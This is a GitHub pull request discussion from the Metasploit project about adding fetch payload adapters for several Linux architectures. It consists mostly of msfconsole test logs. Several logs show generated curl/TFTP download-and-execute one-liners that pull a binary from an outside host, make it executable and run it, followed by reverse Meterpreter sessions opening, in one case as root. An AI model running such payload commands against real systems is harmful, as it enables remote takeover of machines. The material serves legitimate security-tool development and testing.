Add fetch payloads for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64 #19850

bwatters-r7 · 2025-01-30T19:55:04Z

Adding several arch adapters to increase fetch payload coverage.
Please await testing.

bwatters-r7 · 2025-01-30T21:25:54Z

AARCH64 STAGELESS

msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : 10.5.132.149
OS           : Ubuntu 22.04 (Linux 5.19.0-41-generic)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > exit
[*] Shutting down session: 1

[*] 10.5.132.149 - Meterpreter session 1 closed.  Reason: User exit
msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > jobs -K
Stopping all jobs...
msf6 payload(cmd/linux/http/aarch64/meterpreter_reverse_tcp) > use payload/cmd/linux/https/aarch64/meterpreter_reverse_tcp
msf6 payload(cmd/linux/https/aarch64/meterpreter_reverse_tcp) > generate -f raw
[-] Payload generation failed: One or more options failed to validate: LHOST.
msf6 payload(cmd/linux/https/aarch64/meterpreter_reverse_tcp) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf6 payload(cmd/linux/https/aarch64/meterpreter_reverse_tcp) > generate -f raw
curl -sko /tmp/QmFuhTnL https://10.5.135.201:8080/d7GiQGdEoodZ84-t6UNmYg;chmod +x /tmp/QmFuhTnL;/tmp/QmFuhTnL&
msf6 payload(cmd/linux/https/aarch64/meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 1
msf6 payload(cmd/linux/https/aarch64/meterpreter_reverse_tcp) >
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.149:60240) at 2025-01-30 15:24:27 -0600

msf6 payload(cmd/linux/https/aarch64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer     : 10.5.132.149
OS           : Ubuntu 22.04 (Linux 5.19.0-41-generic)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > exit
[*] Shutting down session: 2

[*] 10.5.132.149 - Meterpreter session 2 closed.  Reason: Died
msf6 payload(cmd/linux/https/aarch64/meterpreter_reverse_tcp) > use payload/cmd/linux/tftp/aarch64/meterpreter_reverse_tcp
msf6 payload(cmd/linux/tftp/aarch64/meterpreter_reverse_tcp) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf6 payload(cmd/linux/tftp/aarch64/meterpreter_reverse_tcp) > generate -f raw
curl -so /tmp/syKtpABbG tftp://10.5.135.201:8080/rO0FgHU1uz_fQ-O3YyXWaA;chmod +x /tmp/syKtpABbG;/tmp/syKtpABbG&
msf6 payload(cmd/linux/tftp/aarch64/meterpreter_reverse_tcp) > jobs -K
Stopping all jobs...
msf6 payload(cmd/linux/tftp/aarch64/meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 2
msf6 payload(cmd/linux/tftp/aarch64/meterpreter_reverse_tcp) >
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Meterpreter session 3 opened (10.5.135.201:4444 -> 10.5.132.149:39082) at 2025-01-30 15:25:19 -0600

msf6 payload(cmd/linux/tftp/aarch64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer     : 10.5.132.149
OS           : Ubuntu 22.04 (Linux 5.19.0-41-generic)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux

EDIT (@dledda-r7)

AARCH64 STAGED

Using qemu-aarch64-static

msf6 payload(cmd/linux/http/aarch64/meterpreter/reverse_tcp) > generate -f
curl -so /tmp/iNqFqLGm http://172.26.133.223:8080/otevclxI8w0bUs3qv_y3Dw;chmod +x /tmp/iNqFqLGm;/tmp/iNqFqLGm&
msf6 payload(cmd/linux/http/aarch64/meterpreter/reverse_tcp) > 
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (953388 bytes) to 172.26.133.223
[*] Meterpreter session 4 opened (172.26.133.223:4444 -> 172.26.133.223:34684) at 2025-02-04 13:31:46 -0500

msf6 payload(cmd/linux/http/aarch64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer     : 172.26.133.223
OS           : Debian  (Linux 6.11.2-amd64)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter >

bwatters-r7 · 2025-01-30T22:53:30Z

ARMEL

msf6 payload(cmd/linux/tftp/armle/meterpreter_reverse_tcp) > [*] Meterpreter session 1 opened (10.5.135.201:4441 -> 10.5.134.124:51028) at 2025-01-30 16:42:37 -0600

msf6 payload(cmd/linux/tftp/armle/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : debian-armel.""
OS           : Debian 6.0.10 (Linux 2.6.32-5-versatile)
Architecture : armv5tejl
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter > exit
[*] Shutting down session: 1

This system did not have cURL or TFTP

bwatters-r7 · 2025-01-30T23:01:00Z

MIPSLE

msf6 payload(cmd/linux/tftp/mipsle/meterpreter_reverse_tcp) > use payload/cmd/linux/http/mipsle/meterpreter_reverse_tcp
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > set FETCH_COMMAND CURL
FETCH_COMMAND => CURL
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > set FETCH_SRVPORT 8080
FETCH_SRVPORT => 8080
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > set lport 4441
lport => 4441
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > generate -f raw
curl -so /tmp/NvpFcezafvU http://10.5.135.201:8080/rrP6zvtTemFbQhNqsbSjgA;chmod +x /tmp/NvpFcezafvU;/tmp/NvpFcezafvU&
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 16

[*] Started reverse TCP handler on 10.5.135.201:4441
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) >
msf6 payload(cmd/linux/http/mipsle/meterpreter_reverse_tcp) > use payload/cmd/linux/https/mipsle/meterpreter_reverse_tcp
msf6 payload(cmd/linux/https/mipsle/meterpreter_reverse_tcp) > set FETCH_COMMAND CURL
FETCH_COMMAND => CURL
msf6 payload(cmd/linux/https/mipsle/meterpreter_reverse_tcp) > set FETCH_SRVPORT 8081
FETCH_SRVPORT => 8081
msf6 payload(cmd/linux/https/mipsle/meterpreter_reverse_tcp) > set lport 4442
lport => 4442
msf6 payload(cmd/linux/https/mipsle/meterpreter_reverse_tcp) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf6 payload(cmd/linux/https/mipsle/meterpreter_reverse_tcp) > generate -f raw
curl -sko /tmp/pKTiqTdcSXX https://10.5.135.201:8081/YPmJ9swoEPYA_F8mtNz5pg;chmod +x /tmp/pKTiqTdcSXX;/tmp/pKTiqTdcSXX&
msf6 payload(cmd/linux/https/mipsle/meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 17
msf6 payload(cmd/linux/https/mipsle/meterpreter_reverse_tcp) >
msf6 payload(cmd/linux/https/mipsle/meterpreter_reverse_tcp) > use payload/cmd/linux/tftp/mipsle/meterpreter_reverse_tcp
msf6 payload(cmd/linux/tftp/mipsle/meterpreter_reverse_tcp) > set FETCH_SRVPORT 8082
FETCH_SRVPORT => 8082
msf6 payload(cmd/linux/tftp/mipsle/meterpreter_reverse_tcp) > set FETCH_COMMAND CURL
FETCH_COMMAND => CURL
msf6 payload(cmd/linux/tftp/mipsle/meterpreter_reverse_tcp) > set lport 4443
lport => 4443
msf6 payload(cmd/linux/tftp/mipsle/meterpreter_reverse_tcp) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf6 payload(cmd/linux/tftp/mipsle/meterpreter_reverse_tcp) > generate -f raw
curl -so /tmp/LJUUbmrlBJ tftp://10.5.135.201:8082/NISRlXNmxW2uTHn_9QWATw;chmod +x /tmp/LJUUbmrlBJ;/tmp/LJUUbmrlBJ&
msf6 payload(cmd/linux/tftp/mipsle/meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 18

[*] Started reverse TCP handler on 10.5.135.201:4443
msf6 payload(cmd/linux/tftp/mipsle/meterpreter_reverse_tcp) > [*] Meterpreter session 4 opened (10.5.135.201:4441 -> 10.5.132.135:49706) at 2025-01-30 17:00:10 -0600
[*] Started reverse TCP handler on 10.5.135.201:4442
[*] Meterpreter session 5 opened (10.5.135.201:4442 -> 10.5.132.135:47960) at 2025-01-30 17:00:18 -0600
[*] Meterpreter session 6 opened (10.5.135.201:4443 -> 10.5.132.135:35328) at 2025-01-30 17:00:23 -0600

msf6 payload(cmd/linux/tftp/mipsle/meterpreter_reverse_tcp) > sessions -l

Active sessions
===============

  Id  Name  Type                      Information         Connection
  --  ----  ----                      -----------         ----------
  4         meterpreter mipsle/linux  ubnt @ 192.168.1.1  10.5.135.201:4441 -> 10.5.132.135:49706 (10.5.132.135)
  5         meterpreter mipsle/linux  ubnt @ 192.168.1.1  10.5.135.201:4442 -> 10.5.132.135:47960 (10.5.132.135)
  6         meterpreter mipsle/linux  ubnt @ 192.168.1.1  10.5.135.201:4443 -> 10.5.132.135:35328 (10.5.132.135)

msf6 payload(cmd/linux/tftp/mipsle/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 4 (10.5.132.135)
Computer     : 192.168.1.1
OS           : Debian 9.13 (Linux 4.14.54-UBNT)
Architecture : mips
BuildTuple   : mipsel-linux-muslsf
Meterpreter  : mipsle/linux
[*] Running 'sysinfo' on meterpreter session 5 (10.5.132.135)
Computer     : 192.168.1.1
OS           : Debian 9.13 (Linux 4.14.54-UBNT)
Architecture : mips
BuildTuple   : mipsel-linux-muslsf
Meterpreter  : mipsle/linux
[*] Running 'sysinfo' on meterpreter session 6 (10.5.132.135)
Computer     : 192.168.1.1
OS           : Debian 9.13 (Linux 4.14.54-UBNT)
Architecture : mips
BuildTuple   : mipsel-linux-muslsf
Meterpreter  : mipsle/linux

jheysel-r7 · 2025-02-04T17:22:00Z

Hey @dledda-r7 as per our slack discussion I'm just linking this testing done by @h00die-gr3y who found an issue when testing the staged versions of some of the newly supported architectures for fetch payloads.

#19841 (comment)

bwatters-r7 · 2025-02-05T21:53:45Z

MIPSBE

msf6 payload(cmd/linux/http/mipsbe/meterpreter_reverse_tcp) > [*] Client 10.5.134.124 requested /KGrf3Ppw2f7d4FyPVpCzyQ
[*] Sending payload to 10.5.134.124 (Wget/1.12 (linux-gnu))
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.134.124:40302) at 2025-02-05 15:52:06 -0600

msf6 payload(cmd/linux/http/mipsbe/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer     : debian-mips.""
OS           : Debian 6.0.8 (Linux 2.6.32-5-4kc-malta)
Architecture : mips
BuildTuple   : mips-linux-muslsf
Meterpreter  : mipsbe/linux
meterpreter > getuid
Server username: root
meterpreter >

bwatters-r7 · 2025-02-06T13:22:26Z

Closes #19848

modules/payloads/adapters/cmd/linux/http/ppc.rb

modules/payloads/adapters/cmd/linux/http/ppc64.rb

modules/payloads/adapters/cmd/linux/https/ppc64.rb

modules/payloads/adapters/cmd/linux/tftp/ppc.rb

modules/payloads/adapters/cmd/linux/tftp/ppc64.rb

Co-authored-by: Christophe De La Fuente <[email protected]>

dledda-r7 · 2025-02-19T09:44:42Z

Ok so, so far I am able to get a fetch payload for:

armle (staged and stageless meterpreter)
armbe (stageless meterpreter)
aarch64 (staged and stageless meterpreter)
mipsle (staged and stageless meterpreter)
mipsbe (stageless meterpreter)
ppc (stageless meterpreter)

I am having issue with the PPC64... so far looks like we have meterpreter only for PPC64LE, but for PPC64(BE) we have couple of payloads that should(?) be supported:

msf6 payload(cmd/linux/http/ppc/meterpreter_reverse_tcp) > search cmd/linux/ppc64
[-] No results from search
msf6 payload(cmd/linux/http/ppc/meterpreter_reverse_tcp) > search linux/ppc64

Matching Modules
================

   #  Name                                             Disclosure Date  Rank    Check  Description
   -  ----                                             ---------------  ----    -----  -----------
   0  payload/linux/ppc64/shell_bind_tcp               .                normal  No     Linux Command Shell, Bind TCP Inline
   1  payload/linux/ppc64/shell_find_port              .                normal  No     Linux Command Shell, Find Port Inline
   2  payload/linux/ppc64/shell_reverse_tcp            .                normal  No     Linux Command Shell, Reverse TCP Inline
   3  payload/linux/ppc64le/meterpreter_reverse_http   .                normal  No     Linux Meterpreter, Reverse HTTP Inline
   4  payload/linux/ppc64le/meterpreter_reverse_https  .                normal  No     Linux Meterpreter, Reverse HTTPS Inline
   5  payload/linux/ppc64le/meterpreter_reverse_tcp    .                normal  No     Linux Meterpreter, Reverse TCP Inline


Interact with a module by name or index. For example info 5, use 5 or use payload/linux/ppc64le/meterpreter_reverse_tcp

@bwatters-r7 let me know what is the best move for this, other than this little thing everything looks good to me.

bwatters-r7 · 2025-02-19T14:42:20Z

@dledda-r7 I did not make those because I did not think we had any demand or targets for them. I can add them if we want, but since we have at least 1 PR blocked waiting for this PR, it might be better to mark it as an issue and add them later.

bwatters-r7 added 2 commits January 30, 2025 13:51

Add fetch payloads for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64

cf5f518

Add specs to pass tests

1d3bbcb

dledda-r7 self-assigned this Jan 31, 2025

dledda-r7 added payload arm arm labels Jan 31, 2025

jheysel-r7 mentioned this pull request Jan 31, 2025

RaspberryMatic unauthenticated RCE (Zip Slip) [CVE-2024-24578] #19841

Open

8 tasks

cdelafuente-r7 reviewed Feb 6, 2025

View reviewed changes

bwatters-r7 marked this pull request as ready for review February 11, 2025 13:49

bwatters-r7 and others added 5 commits February 12, 2025 15:51

Update modules/payloads/adapters/cmd/linux/http/ppc.rb

6424a4a

Co-authored-by: Christophe De La Fuente <[email protected]>

Update modules/payloads/adapters/cmd/linux/http/ppc64.rb

c098665

Co-authored-by: Christophe De La Fuente <[email protected]>

Update modules/payloads/adapters/cmd/linux/tftp/ppc.rb

b7dd63f

Co-authored-by: Christophe De La Fuente <[email protected]>

Update modules/payloads/adapters/cmd/linux/tftp/ppc64.rb

3465b57

Co-authored-by: Christophe De La Fuente <[email protected]>

Update modules/payloads/adapters/cmd/linux/https/ppc64.rb

7b46785

Co-authored-by: Christophe De La Fuente <[email protected]>

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add fetch payloads for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64 #19850

Add fetch payloads for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64 #19850

bwatters-r7 commented Jan 30, 2025

bwatters-r7 commented Jan 30, 2025 •

edited by dledda-r7

Loading

bwatters-r7 commented Jan 30, 2025

bwatters-r7 commented Jan 30, 2025

jheysel-r7 commented Feb 4, 2025

bwatters-r7 commented Feb 5, 2025

bwatters-r7 commented Feb 6, 2025

dledda-r7 commented Feb 19, 2025

bwatters-r7 commented Feb 19, 2025

Add fetch payloads for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64 #19850

Are you sure you want to change the base?

Add fetch payloads for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64 #19850

Conversation

bwatters-r7 commented Jan 30, 2025

bwatters-r7 commented Jan 30, 2025 • edited by dledda-r7 Loading

AARCH64 STAGELESS

AARCH64 STAGED

bwatters-r7 commented Jan 30, 2025

ARMEL

bwatters-r7 commented Jan 30, 2025

MIPSLE

jheysel-r7 commented Feb 4, 2025

bwatters-r7 commented Feb 5, 2025

MIPSBE

bwatters-r7 commented Feb 6, 2025

dledda-r7 commented Feb 19, 2025

bwatters-r7 commented Feb 19, 2025

bwatters-r7 commented Jan 30, 2025 •

edited by dledda-r7

Loading